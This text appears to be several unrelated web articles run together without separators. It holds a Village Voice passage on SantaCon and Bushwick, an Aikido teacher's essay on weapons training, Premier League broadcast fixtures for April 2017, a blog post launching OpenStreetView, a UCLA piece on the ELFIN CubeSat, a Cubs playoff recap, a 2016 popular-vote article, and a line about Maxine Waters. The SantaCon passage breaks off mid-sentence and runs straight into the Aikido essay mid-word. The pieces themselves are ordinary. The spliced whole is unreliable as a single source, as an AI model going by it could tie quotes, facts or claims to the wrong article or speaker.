When the community board convened for its regular November meeting, it flat-out rejected SantaCon as its first order of business. The campaign had succeeded. SantaCon was out.
“If you’re a five-year-old kid,” Ireland says, “the last thing you want to see is one Santa Claus beating up another Santa Claus or Santa lying in his own vomit holding a bottle of Jack Daniel’s. If I saw that, I’d be like, ‘Santa is dead.’ ” He notes that organizers had planned to start the day in Maria Hernandez Park — Bushwick’s only real green space and community playground.
Espinal tells the Voice that he later spoke with an event organizer calling himself “Santa,” who told him they would spare Bushwick from “Santification.”
“He politely and respectfully agreed that Bushwick cannot accommodate an event of this magnitude and was going to take his sleigh elsewhere,” Espinal says. “It is one of the best Christmas gifts that Santa delivered to the Bushwick community.”
Bushwick has had its share of tension between longtime residents and the young, artistic, hipster set that has descended on the community as they’ve been priced out of nearby gentrified strongholds Williamsburg and Greenpoint. But Espinal says the push to cut SantaCon off at the knees touchingly united the disparate groups.
“There was a sense of accomplishment,” says Betsy Maher, owner of Pearl’s Social Club and an opponent of SantaCon’s plans to come to Bushwick. “It doesn’t matter — new or old, people in Bushwick care about each other.”
Maher, who likewise opened her bar after working in the East Village, says problems with SantaCon in that community began when its demographics changed. As rents rose in the early to mid 2000s, artists relocated to Brooklyn and wealthier, more entitled young professionals moved in and started taking part in the annual ritual.
“It wasn’t until the Lower East Side started getting bro-y that it got bad,” she says. “As the city is slowly drained of the artistic experience, that’s replaced by money. The people who go to SantaCon go to the bars where I used to work. They treat you like you’re their slave and if you don’t do what they want that’s your fault.”
Despite organizers’ stated commitment to steering clear of Bushwick, bar owners are employing extra bouncers to guard their establishments on the day of the event — just in case any SantaCon aspirants who didn’t get the memo try to slink through the doors. And many bars, like Three Diamond Door, will still hang their brightly painted banners warning “No Santas Allowed.”
Jena Cumbo for the Village Voice
When Law and his friends started SantaCon in 1994, they saw it as nothing more than a prank designed to “take Christmas back from consumerists.” The trio were members of the Cacophony Society, which defined itself as a “randomly gathered network of individuals united in the pursuit of experiences beyond the pale of mainstream society, through subversion, pranks, art, fringe exploration, and meaningless madness.” They held garage sales to raise money and organized free events. They even started a ritual of burning a wood figure on San Francisco’s Baker Beach — an echo of the custom at Burning Man, in whose creation members of the Cacophony Society were also involved.
For SantaCon, the group was inspired by a 1988 article in Mother Jones magazine about a Danish political theater troupe whose members had dressed up as Santa Claus and crashed a department store, handing books on the shelves to children. The store managers called in police, who arrested the Santas and took back the gifts.
“Suddenly masses of police arrive, and haul the generous Santas out onto the street. There, the red-suited people are roughed up, searched and thrown into paddy wagons,” the article says of the incident, which occurred in Copenhagen in 1974. “Watching bystanders are horrified. Children become hysterical.”
One of the Danish activists said the arrest was part of the group’s political statement:
“We showed the cultural significance of crime,” the activist told the Mother Jones reporter. “If you’re going to be honest and generous, you have to be a criminal.”
Law says that SantaCon — “-con” was added because of its connotative association with pranks and trickery — was not expressly political. It was more of a surrealist parody left open to individual interpretation — and it was only planned to happen once.
“Although the early event wasn’t just a mindless pub crawl — anything but, really — it also wasn’t a deadly serious political action like the Danish group,” Law says. “We were a pretty playful crew — I was only one of the organizers, and my disdain for Christmas was not really shared by the others. The idea was to make whimsical fun of the holiday — not to be mean-spirited.”
Law’s role model Gary Warne — the founder of the Cacophony Society’s predecessor, called the “Suicide Club” — had first conceived the idea, but died before he could ever stage his first event.
“Gary was so full of new ideas that he was nearly exploding. For him, the Santa thing was just one more media blip that piqued his curiosity and seemed like a good idea for an event,” Law recalls. “He was always surveying the media, as well as pulp fiction, movies, adventure novels, and historical texts, for ideas to extrapolate upon for some kind of profound or — just as often — wacky event idea.”
The inaugural SantaCon was a small gathering of sober Santa impersonators who met in a plaza by the Ferry Building in a pristine San Francisco waterfront neighborhood at 6 p.m. They first made their way to a Macy’s department store and later crashed a debutante ball at the posh Fairmont Hotel. One of the Santas, a “pickup horn player at fancy gigs,” knew a back corridor, and so led the group into the Venetian Room. It was, Law recalls, “a pleasant experience.”
“We were dancing with the girls’ grandmothers — the people thought we were part of the entertainment. They cheered as we kept rolling through the door — it was like clowns coming out of a van in a continuous stream — surreal,” says Law. “People applauded when we left.”
The group then rode on cable cars and sang carols, but visited few bars, as it was not viewed as a drinking occasion.
“I remember no one being drunk at all,” Law says.
The evening culminated with a midnight Santa “hanging,” as Law — in full St. Nick regalia — jumped from the scaffolding of a San Francisco hotel wearing a giant harness. But virtually no one witnessed the act, if for no other reason than no one knew it was happening.
“It was a very simple joke, making fun of Christmas,” he says.
The next year SantaCon grew from 34 to 100 revelers, all of whom chased Law to his second hanging. They pretended to be a Santa Claus union that was on strike. Law played the role of a Santa who had crossed the picket line. “Kill the scab!” one boisterous Santa boomed, and they hanged him from a street lamp on Market Street.
“This is why the collective mind is so brilliant — we hadn’t planned that, it just happened,” Law recalls, noting that this time, his stunt drew a crowd of onlookers. That second year there was more drinking than there had been at the inaugural event, but most Santas were still “stone-cold sober,” Law says.
By 1996, SantaCon’s third year, word had started to get out about the eccentric group of playful Santas, and a group in Portland, Oregon, wooed Law and his flock up north. It moved again, to Los Angeles, the following year. It finally landed in New York in 1998. Artist Julia Solis helped organize the first New York event — which would be Law’s last — but soon the celebration changed leadership hands again, and became an event held in multiple cities at once, each with its own organizers. Meanwhile the number of Santas continued to multiply each year, and, by 2013, SantaCon was held in almost 90 cities, and in more than a dozen countries.
“Once the internet picked this meme up it went global, and it went way beyond the Cacophony Society,” says Law. “I’m sure it’s different in every city — in some you have giant, muscly frat boys beating up grandmas, and others — nice Santas.”
Click for a larger version. Illustration by Rick Sealock.
But it was in New York where the event began to take a decidedly boozy turn.
In the early 2000s, groups of tipsy Santas might appear at one bar or another, says Pete Saverino — owner of the Thirsty Scholar, a dimly lit basement bar on Second Avenue. But by mid-decade, SantaCon had noticeably begun to take on the form of a traditional drunken bar crawl — and it has continued to grow every year.
“It’s a mix of anonymity from the costumes and people blowing stress off from the holiday season — it’s got the same feeling as St. Patrick’s Day,” Saverino says. “It’s a big day. We just have to plan accordingly, bring in extra security and bartenders. But it did get out of hand last year — Santas were blocking off the street on Second Avenue. It needs to be organized better.”
In 2009, organizers added a charity component to the event. Participants were asked to donate $10 each, and bars that sign up to be listed on SantaCon’s official map of “sponsor” businesses give part of their profits to a local charity. According to SantaCon New York’s website, $60,000 was raised last year for Food Bank for New York and other New York City charities. But as the event grew, the Santas would more or less take over all of the East Village — visiting bars that had no affiliation with SantaCon whatsoever, angering patrons of those establishments who had no interest in being caught up in the debauchery.
In 2013, the NYPD started |
his might, and we just tried to copy his moves.
Saito Shihan, after many years of effort and research at Iwama, organized a weapons training system: Ichi no tachi through to go no Tachi and kimusubi no tachi, which was the basis for Sho Chiku Bai swordwork. Through necessity, out of a sense of responsibility as O-Sensei’s uke, and because I traveled with him in my early days of training, I learned these forms independently from Saito Shihan.
Before my time (i.e., before 1960), Tamura Shihan and Nishiuchi Shihan were O-Sensei’s ukes for weapons. I tried very hard to steal their handling of weapons and trained by myself. It was vital, and my primary responsibility as O-Sensei’s uke, to not make blunders. At that time I was merely a shodan, with only a year and a half of Aikido training. This tortured me psychologically to no end. I struggled all alone in those days. None of my sempai at Hombu offered to teach me weapons work.
My strongest fear was that I might dishonor O-Sensei’s fame because of my lack of proper weapons skills. I did not want people to look at O-Sensei, who was then a highly regarded martial artist – one in a million, established in an indisputable position as such – and say, “He might be a great master, but look at his student. Is that all he has?”
Also, as an attacker, I did not want a situation to arise where O-Sensei could not show all his capabilities because of my lack of skill. My trips with O-Sensei to seminars around Japan might last four or five days or up to five weeks. What I recall fondly today is how many nights I lay sleepless, recalling how I had seen O-Sensei move that day and thinking about my seemingly impossible task, which was to understand his movements in order to improve my attacks, so that O-Sensei’s fame would be kept intact.
As I think about it now, what I see most clearly is the deep affection that O-Sensei showed me by putting me in this situation. He gave me no choice: He made me face an impossible task. By doing so, he taught me a lesson: to accept my natural level of skill as it was, and to recognize that the fundamental concept of a martial artist (Budoka) is that one must be ready to accept any circumstance with one’s whole self, leaving regret behind. Through his action O-Sensei taught me the fundamental attitude of a martial artist.
The major difference in teaching methods between the martial arts and the contemporary education system is that in martial arts, the teacher throws students into a seemingly impossible situation. There they must struggle by themselves, and search for a fundamental truth by themselves, given their capacities and abilities. There is no verbal instruction, no discussion of detail. This is a unique method of training within traditional Japanese culture. It is a completely different world from the present-day education system, including contemporary martial arts.
I do not feel any contradiction in acknowledging the fact that my weapons training method differs from that of O-Sensei. What I am or what I do today is based on the “cause,” in the Mahayanist Buddhist sense of “cause and effect.” There is a “cause” that makes me who I am today and that is based on the accumulation of my life experiences and on the manifestation of my personal development. At this point in my life, I have been seriously seeking the Way for over half a century. Everything I have and everything I am, including the entire creative and latent potential of my Aikido life, exists at this point in my life.
There are two elements I would like to emphasize in discussing the practical effects of training with weapons in Aikido practice.
The first element is that of the ideal body constitution. This is the “Aikido body” that I always talk about, and its realization in one’s body through the stages of Aikido training. This body constitution can be more easily observed through the handling of weapons rather than through observing body work, especially in basic weapons maneuvers, such as suburi and basic jo exercises. There may be many reasons for this.
One important factor is that in the case of body arts, the observer often pays more attention the relative effect (impact) created by the execution of technique, and to the dynamic and flowing movement realized between the practitioner (tori or nage) and the receiver (uke). (If we analyze the movement in terms of cause and effect, where the practitioner is seen as the “cause,” and the relative outcome that appears to be the result of the execution of the technique is seen as the “effect,” often the observer can only see the “effect” and not the “cause.”) In focusing attention on impact or on fluidity of movement, the observer often fails to observe the body constitution and its use by tori.
In contrast, the body constitution and the qualities of use (unification of body, harmony, centeredness, totality, etc.) of the tori can be clearly seen by his or her handling of the jo or bokken. It is unfortunately the case that in the practice of body arts that the movements of uke can often contain certain elements of artifice. However, in the basic handling of weapons, there is no room for conscious elaboration or showmanship in body movement. Tori must expose the entire naked self, a totally independent body, to an observer.
The most important aspect of Aikido is its unique ability to enable practitioners (tori) to see their own body constitution (which is the personification of the state of mind) as it manifests on the receiver of the technique (uke), through the relationship between practitioner and receiver. A practitioner sees in the mirror of uke’s body movement the presence of his mind and his fundamental characteristics. Because of this unique ability, Aikido emphasizes the development of the spiritual foundation in practitioners. Therefore, it is vitally important for Aikidoists to be able to observe their body constitution, and to see the way it works.
The second element I would like to emphasize is the relationship between Aikido training and age. As biological beings, we face the inevitable challenge of aging and its acceleration and imposition of many physical constrictions. Many of us are reaching an age where we must balance the ailments of our bodies and our Aikido training in order to extend our training lives. It has been almost half a century since Aikido was introduced to Europe and the U.S., and the pioneers who contributed to the initial stage of its introduction are between 50 and 80 years old. It is very sad to see these people, whom I consider my training mates and comrades, dropping out of Aikido. It is a great loss to the Aikido community if we lose the accumulated experience and knowledge of these people.
What can we do? What can we prescribe to remedy this situation? We can certainly tell young people, who are the art’s future and its potential, that it is vitally important for them to condition and strengthen their bodies so that they will be able to extend their training lives.
However, this advice cannot apply to all practitioners. As we all know, because of the philosophy and nature of Aikido, it tends to attract a relatively older generation of people. There are many cases where beginning students have already passed the age when basic body conditioning should have taken place. We can of course discuss the importance of nutrition and recommend body conditioning according to age, or to introduce yoga. However, generally speaking, we must leave this up to the individual’s judgment and selection.
It is very important to practice ukemi in Aikido training. However, the damage to the body from the accumulated impact of ukemi practice, when it is done in excess, cannot be disregarded. Therefore it is very important to master ukemi as an independent art. This is a pressing issue for older students. Suwariwaza training, which is such important basic training in Aikido, is also very difficult for members of older generations. Especially in Western culture, where the predominant habit is to sit in chairs, the weakness of the lower body is more manifest in older people. Suwariwaza is thus more difficult for them.
I think that weapons training can potentially overcome the tendency to fail to observe our body constitution, and to remedy the difficulties experienced by older students. In basic weapons training the techniques are done standing, there is little or no ukemi and there exists sufficient ma-ai (distance) so that the degree of influence of power or weight which one sees manifest in body arts is limited. (The degree of influence of power and weight changes in relation to distance, or ma-ai.) Thus weapons training – using weapons as an extension of the body – allows students to study and train in the principles of Aikido relatively free of age differentials. One of the reasons that there are more old Kendoka still actively training, in contrast to the number of older Judoka, is that working with weapons frees the body from some of the more severe constraints imposed by aging.
The position of weapons training in Aikido should be reviewed in terms of these conditions.
Ultimately, I am convinced that the fundamental principle of Aikido is found in muto no kurai – the state of “non-sword” or being unarmed in a superficial sense. The principle goes beyond being armed or unarmed, which are relative terms. At this stage, however, suffice it to say that it does not negate our weapons training. The technical and philosophical understanding of muto no kurai is a basic and important element of my life’s work.
It has not been an easy road. But Aikido so far has not betrayed my expectations. Nevertheless, the highly polished techniques, unified with the profound philosophical principles at the foundation of this art, have made my quest incredibly difficult. I have been in deep despair many times because no matter how much I trained, or how far I traveled along the path, I have been unable to grasp its totality. But at the same time, a glimpse of something noble that I catch from time to time through my daily training makes me feel that I am alive and encourages me to continue on this path.
Aikido is a noble art. Because of its nobility, it is very fragile and easily damaged. But because of its very fragility, Aikido has never ceased to be precious to me.
Author’s notes:
1. To support the position expressed in this article, I would like to mention the relationship between Aikido and Iai Batto Ho training. It is important, while training with bokken, to understand the concept of cutting, since an actual sword cuts when it is properly handled. This sense of cutting is difficult to attain solely by bokken training. Iai Batto Ho allows a student to understand correct sword-handling methods. Also, the person who introduced me to the path of Iai Batto Ho was O-Sensei himself.
2. I would also like to state that though it may appear that I criticize Judo and Kendo in this article, I have no intention of doing so. The evaluation of these arts as expressed was a conclusion derived by a 16-year-old boy who had a serious experience and an impression. Through this experience, I met my lifelong master, Morihei Ueshiba, and my path was clarified. There was no criticism intended. I know exactly what real Judo and Kendo are like, and I wrote this essay with full respect for those arts.
-end-See which Premier League fixtures have been moved for live broadcast next month
The Premier League matches selected for live broadcast in the United Kingdom during April and early May 2017 have been announced.
For the full list of fixture amendments, starting with two TV picks on Saturday 1 April – the Merseyside derby at Anfield on Sky Sports and Southampton's home match against south-coast rivals AFC Bournemouth on BT Sport – see below.
Get the 2016/17 fixtures on your digital calendar
Fixture amendments
(all times are BST)
Saturday 1 April
12.30pm Liverpool v Everton (Sky Sports)
5.30pm Southampton v AFC Bournemouth (BT Sport)
Sunday 2 April
1.30pm Swansea City v Middlesbrough (Sky Sports)
4pm Arsenal v Manchester City (Sky Sports)
Tuesday 4 April
8pm Manchester United v Everton (BT Sport)
Wednesday 5 April
7.45pm Arsenal v West Ham United*
*Consequent to Arsenal v Manchester City moving to Sunday 2 April
7.45pm Hull City v Middlesbrough*
*Consequent to Swansea City v Middlesbrough moving to Sunday 2 April
7.45pm Swansea City v Tottenham Hotspur*
*Consequent to Swansea City v Middlesbrough moving to Sunday 2 April
8pm Chelsea v Manchester City (BT Sport)
Saturday 8 April
12.30pm Tottenham Hotspur v Watford (Sky Sports)*
*Subject to movement to Sunday 9 April should Arsenal or Leicester City play in the UEFA Champions League on Tuesday 11 April.
5.30pm AFC Bournemouth v Chelsea (BT Sport)
Sunday 9 April
1.30pm Sunderland v Manchester United (Sky Sports)
4pm Everton v Leicester City (Sky Sports)*
*Subject to Leicester City’s possible participation in the Champions League on Tuesday 11 April.
Monday 10 April
8pm Crystal Palace v Arsenal (Sky Sports)*
*Subject to Arsenal’s possible participation in the Champions League quarter-finals
Saturday 15 April
12.30pm Tottenham Hotspur v AFC Bournemouth (Sky Sports)
5.30pm Southampton v Manchester City (BT Sport)
Sunday 16 April
1.30pm West Bromwich Albion v Liverpool (Sky Sports)
4pm Manchester United v Chelsea (Sky Sports)
Monday 17 April
8pm Middlesbrough v Arsenal (Sky Sports)*
*Subject to Arsenal’s possible participation in the Champions League quarter-finals
Saturday 22 April
12.30pm Manchester City v West Bromwich Albion (Sky Sports)*
*Subject to Manchester City’s possible participation in the FA Cup semi-finals
Sunday 23 April
12pm Leicester City v Tottenham Hotspur (Sky Sports)*
*Subject to Tottenham Hotspur’s possible participation in the FA Cup semi-finals
2.15pm Burnley v Manchester United (Sky Sports)*
*Subject to Manchester United’s possible participation in the FA Cup semi-finals
2.15pm Chelsea v Southampton (Sky Sports)*
*Subject to Chelsea’s possible participation in the FA Cup semi-finals
4.30pm Liverpool v Crystal Palace (Sky Sports)
Saturday 29 April
5.30pm Crystal Palace v Burnley (BT Sport)
Sunday 30 April
12pm Manchester United v Swansea City (BT Sport)
2.05pm Everton v Chelsea (Sky Sports)
4.30pm Tottenham Hotspur v Arsenal (Sky Sports)*
*Subject to Arsenal’s possible participation in the Champions League semi-finals
Monday 1 May
8pm Watford v Liverpool (Sky Sports)*
See: Broadcast schedulesAfter almost a year of thinking, development and testing, the OSM team at Telenav is ready to present OpenStreetView to all OSM mappers! OpenStreetview (OSV) is the free and open street level imagery platform designed 100% with OSM and mappers in mind.
We officially presented OSV to the OSM community at State of the Map US where we had a 20 minute talk and a booth where we gave away crazy little remote controlled cars to everyone who signed up :). The cars were gone quickly – almost half of the people at SOTM US signed up! - but you can still see the talk thanks to the great SOTM US organizers who had all the sessions professionally recorded. If you have 20 minutes and don’t like reading, watching that video is going to be the best way to be introduced to what OSV is and how you can use it to improve OSM. Or if you are coming to SOTM in Brussels, you can come meet our team there (more remote controlled cars? Who knows!) and attend the workshop.
The OpenStreetView booth at SOTM US
If you do prefer reading, read on! I wanted to quickly introduce OSV, what the components are, why we believe it is the #1 choice of street level imagery for OSM, and of course how to contribute and use it.
OpenStreetView components
OSV is a web site, openstreetview.org, free and open source mobile apps for Android and iOS, a specialized Map Editor, a plugin for JOSM, and of course a back end server. Support for iD is also planned.
The web site is where you go to explore imagery from all over the world, see leaderboards and your own profile and trips. To see your personal stuff, of course you will need to sign in. Your OpenStreetView account is linked to your OSM account, so you don’t need to create a separate account. All we store when you sign in for the first time is whatever is public on OSM. (If you want to check what that is, go to https://www.openstreetmap.org/api/0.6/user/8909, changing 8909 to whatever your OSM ID is – unless you want to see my details.)
The apps are free to download from the play / app store. For Android, you can also download the APK directly. With the apps you can capture trips. They are optimized for driving but also work well for biking and walking scenarios. Apart from recording trips, you can also upload your trips to OSV. This will happen automatically when you enter WiFi, if you want. Finally you can review your local and server trips and see your profile. Even if you have not logged in on the web site, you can log in to OSV with the apps, also through OSM OAuth. Either way, this will create an account for you on OSV.
One thing that is really specific to OSV is that you can link the app to an OBD2 dongle in your car. Those are little devices that read from the OBD2 port in your car. Almost every car has one. (Challenge: find yours!). The dongle reads all kinds of diagnostic info from the car and broadcast it over Bluetooth or WiFi. They cost around 20 Euros. A list of OSV compatible ones is on the OSM wiki. (Ehm, a very small list so far. If you have a different model, please add your experience!)
OSV will read the speed and curve to improve the accuracy of the GPS signal that is recorded for your trip. It comes in extrememly handy when GPS reception is poor or lost altogether, for example in dense tree cover or in tunnels. The dead reckoning provided by the OBD2 unit will maintain proper alignment to the road. Here you see what that means when you are driving through a tunnel (blue = GPS only, signal lost, red = with OBD2 connection).
The OSV apps also have sign detection built in. So this is not done on the server but at 60FPS on the client! This means that it will detect speed limit signs, and more to come, in real time and can warn you if you are speeding. This warning feature is almost ready and will be in one of the next builds. (We update the apps very frequently.)
The JOSM plugin is in an early beta stage. Right now it will simply display the locations of images on the OSV server, and you can click on them to show the image in the OSV panel. Basic functionality, but it works :) and we hope that you have ideas (or even code) to improve it.
Speaking of ideas, we already have an active community reporting issues and suggestions on Github. This is the best place to let us know of any bugs and ideas you have about any part of OSV. Github is also where all the source code for all the components mentioned here is located. Almost everything in OSV is open source, and if it is not we are looking at how we can make it open source.
If you do not like Github or do not want to create an account there, you can also write to hello@openstreetview.org with your ideas or bug reports. We are also on Twitter as @openstreetview and we are getting on Facebook and Instagram if you’re into that kind of thing.
If you check Github, you will see that we also have upload tools for your existing Virb / GoPro and other action camera images. These are Python scripts, but we also have a GUI tool that you can just drag and drop directories onto to upload. This is in early beta but if you want a copy, let me know.
There are two components that I have not mentioned yet: the Map Editor and the back end. I want to save those for a separate post that I will write soon. Here is a screenshot of the map editor:
Why OpenStreetView?
We think that OpenStreetView is the #1 choice for street level imagery for OSM. Not only because it is almost completely open source. You also remain in full control of the data you upload to OSV. You can always delete individual photos, trips or even delete everything and remove your account if at any moment you don’t want to be a part of OSV any longer. This option is on the web site, no need to email anyone or submit a request.
Another reason is because we are building a platform that is very tightly integrated with OSM. This is obvious from the way we handle user accounts: log in with OSM, no separate account. But also deeper down the integration with OSM is tight: we map all trips to OSM ways, so we can link back and forth between trips / images and OSM way objects. This opens up all kinds of interesting possibilities, and I want to spend a separate post on that as well.
For now, it would be cool if you would give OpenStreetView a try. Download the app for your phone, sign in and start capturing. Tell us about your experiences. Explore what is already there. And most important please use it to improve OSM!
Note that OpenStreetView is not a project run by OpenStreetMap or the OpenStreetMap Foundation. It is maintained by Telenav, where I work, for the sole benefit of improving OpenStreetMap.To conduct research on space weather, an enterprising group of UCLA undergraduates is manufacturing the first satellite built entirely on the UCLA campus.
The Electron Loss and Fields Investigation CubeSat, or ELFIN, is a tiny satellite the size of a loaf of bread that still packs the scientific punch of significantly larger, more expensive satellites. When launched, ELFIN will determine how solar wind particles and radiation behave in Earth’s environment, a topic of increasing concern because magnetic storms can wreak havoc on space infrastructure like GPS, communication and weather satellites, and even damage the electrical grid here on Earth.
“With the advent of space tourism and the increased reliance on satellites, understanding space weather is becoming increasingly important to our society,” said Vassilis Angelopoulos, a professor in the UCLA Department of Earth, Planetary, and Space Sciences and ELFIN principal investigator. “We need to study the electron loss process to assemble the full picture of how space radiation is driven by solar particles.”
From the beginning, ELFIN had only scant internal funding, and the outlook for completion was unclear.
In spite of this uncertainty, a team of several dozen intrepid undergraduate students took on the project as their own, collectively putting in thousands of hours as a labor of love, developing and testing the satellite’s subsystems with the hope that the project would someday be fully funded.
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After three years of diligent work and patience, the tide finally turned in 2013 when the U.S. Air Force awarded the team a $110,000 grant to continue development and buy much-needed parts. Last February, the opportunity to achieve their goal became even more real for these space Bruins when NASA’s CubeSat Initiative and the Low-Cost Access to Space program guaranteed them a launch spot.
Finally on May 23, the team was awarded $1.2 million jointly from NASA and the National Science Foundation, ensuring enough funding to put the space-qualified hardware in orbit and to operate it for six months from the UCLA Mission Operations Center, to be located on campus.
A collaboration between the Aerospace Corporation and UCLA’s departments of Earth, Planetary and Space Sciences; Mechanical and Aerospace Engineering (MAE); and Atmospheric and Oceanic Sciences, ELFIN will not only benefit UCLA students, who will have the opportunity to work on a real-world space program, but will also resolve a critical space physics question.
“ELFIN will train tomorrow’s leaders in space science and engineering,” said Richard Wirz, a professor in the UCLA Department of Mechanical and Aerospace Engineering and a mission co-investigator. “This educational experience enables students to apply what they learn in the classroom in a hands-on, team setting and do whatever it takes to reach a scientifically compelling and challenging goal.”
Drew Turner, an associate researcher in Earth, planetary and space sciences, noted that a quick-turnaround mission like this will give students the rare opportunity to see a project from conception to completion.
“The ELFIN experience is unusual in comparison to an industry that typically deals with one-ton satellites that take up to 10 years to build by a veritable army of engineers,” Turner said. “This will be an invaluable, once-in-a-lifetime opportunity for our students — a ride to space they will never forget!”
The satellite is tentatively scheduled for launch in late 2016 or early 2017 as a secondary payload (similar to carpooling), which greatly reduces the cost of reaching space. From its polar orbit approximately 370 miles overhead, ELFIN will determine how high-energy electrons in Earth’s radiation belt (located roughly 25,000 miles above the equator) are scattered out of their cyclical orbits by naturally occurring ultra-low-frequency electromagnetic waves.
ELFIN Once in orbit, ELFIN will study the phenomena that cause the dazzling auroras.
These electrons are guided along Earth’s magnetic field (which resembles a bar magnet) and fall into the atmosphere above the north and south poles, where their energy is transformed into the dazzling lights of the auroras. By analyzing the speed and direction of the falling electrons, the team will be able to tell what types of waves scattered them from the heart of the radiation belts. A sensitive on-board magnetometer will also look for the signature of these waves to confirm the scattering theory.
Understanding this “emptying” of the radiation belts will help scientists predict the effects of future space weather storms.
“This was impossible to do before, because no previous mission had the angle and energy resolution that ELFIN has,” Angelopoulos said. “Our students will be able to contribute to space research in a very unique and meaningful way.”
While UCLA has a 40-year legacy of building space instruments for NASA and other international missions, and a strong presence in space science research, ELFIN represents UCLA’s debut in end-to-end mission development and operations. The spacecraft will be tracked by a dedicated ground station on top of Knudsen Hall, with a backup station on the roof of Boelter Hall. The collaboration with the Aerospace Corporation in El Segundo, Calif., enhances UCLA’s space science capabilities, while in turn providing an industrial partner with a highly trained workforce to tap into the future.
Although the grant was awarded right before summer break, the prototype lab and workroom are both bustling with students cutting metal, testing circuits and working on various design aspects of the project.
“It’s mind-blowing to be making parts that will end up in space,” said Alexander Phinney, who is studying mechanical and aerospace engineering and working as a machinist on the project. “It’s really cool, but also [there's] a huge pressure to do things right as there are no second chances in space.”
In early August, ELFIN’s engineering design review will be held at the Small Satellite Conference in Utah.
“We are fortunate to be at UCLA in an environment with extremely competent staff, researchers and faculty who care and take the time to work one-on-one with us,” said Chris Shaffer, a senior in MAE and ELFIN’s student project manager. “We are building a team of students and staff with the mentality that there is nothing that we can’t do. That teamwork will be the hallmark of our project’s success. A banner stating that ‘Failure is not an option’ has been hanging in our lab ever since we started.”
Follow ELFIN on Facebook.LOS ANGELES – Forget cleanup hitter. Think of Ben Zobrist as a great point guard, someone who understands how the pieces fit together, sees all the angles, creates for his teammates and remains calm under pressure.
After watching the Los Angeles Dodgers hold the Cubs scoreless for 21 consecutive innings – and take control of this National League Championship Series – Zobrist realized he needed to do something different.
Zobrist had been thinking about this for days, but finally sensed the opportunity on Wednesday night at Dodger Stadium. Julio Urias – the 20-year-old lefty who’s evoked comparisons to Fernando Valenzuela – hadn’t allowed a hit through three innings. The Dodgers had focused on throwing first-pitch strikes and attacking Zobrist early with off-speed stuff in the zone.
“You just try to find the right time,” Zobrist said. “I felt like at that point it was definitely necessary to at least try. And if it doesn’t work out – or you foul it off – then next pitch I’m probably swinging.”
Zobrist bunted the Urias curveball he saw coming, placing it perfectly along the third-base line for the leadoff hit that put the Cubs in transition. Javier Baez and Willson Contreras hit back-to-back singles, scoring Zobrist for the first run and forcing one of four errors the Dodgers committed. Jason Heyward hit a ball to the right side of the infield to score Baez. And Addison Russell broke out of his slump by drilling a 94-mph Urias fastball over the right-center field wall for a two-run homer.
Just like that, all the fourth-inning pressure in Game 4 broke the Dodgers as the Cubs stormed back for a 10-2 victory that tied up a best-of-seven series.
“All the little things,” Zobrist said. “You’re not going to hit a bunch of three-run homers every game. You really have to find a way to play small ball, especially in the postseason when we’re facing good pitching and they’ve been tough on us.
“That just kind of got everything going. Offensively, everybody contributed. It just kind of felt like the floodgates opened.”
[SHOP: Buy a "Try Not to Suck" shirt with proceeds benefiting Joe Maddon's Respect 90 Foundation & other Cubs Charities]
This is what Zobrist did with the Kansas City Royals last season, earning a World Series ring and signing a four-year, $56 million contract to help the Cubs win eight more games than the 2015 team that never led at any point against the New York Mets in the NLCS.
The Cubs wanted a veteran switch-hitter in the middle of their lineup to set an example for their younger players, a winner who would maintain the same pitch-by-pitch focus and daily approach, no matter what else might be going on around this team.
“That’s kind of what you have to do to stay sane,” Zobrist said. “If you do different things when things are not going well, (then) you’re going to drive yourself crazy in this game.
“We try to keep the routine the same. We try to stay positive with each other and believe that it’s going to happen. We know that our offense is too good to keep down for a long time.
“Hopefully, tonight was a big indication of what is to come the next few games.”
While the best team in baseball during the regular season had to find its identity in October – see that first-round comeback against the San Francisco Giants – Zobrist already had enough self-awareness to know this: “I’ve said this before, I’m not a cleanup hitter. I’m just batting fourth.”Even though Donald Trump is the president-elect of the United States, that is based on the Electoral College, not the popular vote. Hillary Clinton is winning the popular vote by an impressive margin, reported The New York Times. Plus, there are millions of votes left to count, according to the Houston Chronicle.
After all the ballots are counted, Clinton could be ahead by more than two million votes. That comes out to 1.5 percentage points.
Plus, “She will have won by a wider percentage margin than not only Al Gore in 2000 but also Richard Nixon in 1968 and John F. Kennedy in 1960,” the NYT reported.
Wow, right?!
via giphy
And if the above turns out to be correct, she’d win more popular votes than any U.S. President has, aside from Barack Obama, reported Teen Vogue.
via giphy
FYI, Obama’s final 2008 tally was 69,498,516 while Bush’s 2004 tally was 62,040,610.
Right now, there are approximately 60,898,528 votes for Clinton and 60,282,616 for Trump, according to David Wasserman, an editor at the Cook Political Report. He’s been keeping track in a public Google document, according to The Atlantic.
“We probably have about 7 million votes left to count,” Wasserman told The Atlantic. “A majority of them are on the coasts, in New York, California, and Washington. She should be able to win those votes, probably 2-1.”
The Electoral College officially votes on December 19th. By then, Wasserman thinks Clinton could be ahead by two percentage points in the popular vote.
via giphy
Meanwhile, you have probably heard of the Change.org petition. Its aim is to get the electoral vote overturned. As of this writing, it has almost 4 million supporters.
ICYMI, based on the Electoral College vote, Trump received 290 of the 270 needed to win the presidency, whereas Clinton received 228. The Change.org petition (among others) believes the popular vote should trump (no pun intended) the Electoral College one.
Some people believe the Electoral College should have the final say. Yet others believe a true democracy would be based on the popular vote.
However, the Electoral College has been around for-ever, so changing the way that a U.S. president is determined would likely be a complex process.
via giphy
Where did the Electoral College come from anyway?!
A long time ago, our nation’s founders established it so the entire nation would have a more equal say in choosing the POTUS, according to CNN. However, times were obvs different then. For instance, states were more independent. Plus, the federal government did not have as much power as they do now. And, ICYMI, states with bigger populations get more Electoral College votes.
In the meantime, Clinton seems to be receiving an outpouring of support from her fans, including Bill Clinton.
For instance, when Clinton gave her concession speech, her husband whispered, “that’s my girl.” Awww. And kids have been writing Clinton chalk messages outside of her campaign headquarters in Brooklyn, NY.
Breaking my Twitter silence to share this:
There are kids and families writing thank you notes in front of Hillary HQ.
😭❤️ pic.twitter.com/CJQuityOdx — Mina Markham 👩🏾💻 (@MinaMarkham) November 11, 2016
Isn’t that the sweetest? (And we love the “Girl Power” one!)
Many thanks written in chalk outside of Clinton HQ. Many thanks from me to everyone who contributed to this journey. I'm always with her. pic.twitter.com/dAlTCfPeCZ — Tim Carroll (@Tim__Carroll) November 10, 2016
On that note, we’re ~super impressed~ that Clinton’s popular vote tally continues to increase. And we hope it’s inspired little girls everywhere to remember that they, too, can run for president one day.At the House Financial Services Subcommittee on Terrorism and Illicit Finance hearing on Wednesday, Rep. Maxine Waters (D-CA) said there are voices on the internet, specifically on Breitbart and YouTube, that want to kill her.
